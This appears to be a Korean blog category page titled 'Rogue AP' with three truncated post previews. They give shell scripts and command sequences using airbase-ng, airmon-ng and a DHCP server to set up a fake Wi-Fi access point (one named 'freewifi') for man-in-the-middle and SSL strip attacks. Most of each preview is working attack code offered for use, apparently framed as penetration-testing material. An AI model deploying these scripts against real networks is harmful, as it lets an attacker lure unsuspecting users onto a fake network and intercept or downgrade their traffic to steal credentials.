본문 바로가기

Rogue AP

airbase-ng 스크립트 [ Fake AP + Encryption ] ### Fake Access Point ### with encryption### WEP / WPA / OPN ### ### arguments ##### $1 = MAC ADDRESS## $2 = ESSID## $3 = channel## $4 = monitoring interface [mon0, mon1.....]## $5 = Encryption type [ WEP, WPA, WPA2 ]## $6 = password #!/bin/bash WEP='-w'password=$6WPA='-w '$password' -z 2'WPA2='-w '$password' -Z 4'if [ $5 == WEP ]; thenairbase-ng -a $1 -e $2 -c $3 $4 $WEP $6elif [ $5 == WPA ]; t.. 더보기
FAKE AP 생성과 MITM / SSL strip 공격 FAKE AP 생성과 MITM / SSL strip 공격 최초 무선 랜카드 연결 및 연결 확인#> iwconfig or ifconfig 공격자 GateWay 확인(192.168.0.1)#> route -n DHCP server 설치#> apt-get install isc-dhcp-server DHCP 설정 파일 생성#> vi /etc/dhcpd.conf 아래 내용 추가 airmon 활성화 (wlan interface 확인)#> airmon-ng start wlan0 fake ap 실행 (mon interface 확인)#> airbase-ng -c 채널 -e freewifi mon0 만들어진 fake ap 설정 (at interface 확인)#> ifconfig at0 192.168.1.1 netmask .. 더보기
Rogue AP + SSLStrip 쉘스크립트 [ Fake AP, MITM 공격 ] 2015/01/05 - [모의해킹] - FAKE AP 생성과 MITM / SSL strip 공격 # 위의 글을 쉘스크립트로 만들면 #!/bin/bash echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet 192.168.1.0 netmask 255.255.255.0 { option routers 192.168.1.1; option subnet-mask 255.255.255.0;" > /etc/dhcpd.conf echo "make your fake ap name (ESSID)" read string echo "option domain-name \"$string\"; option domain-name-servers 192.168... 더보기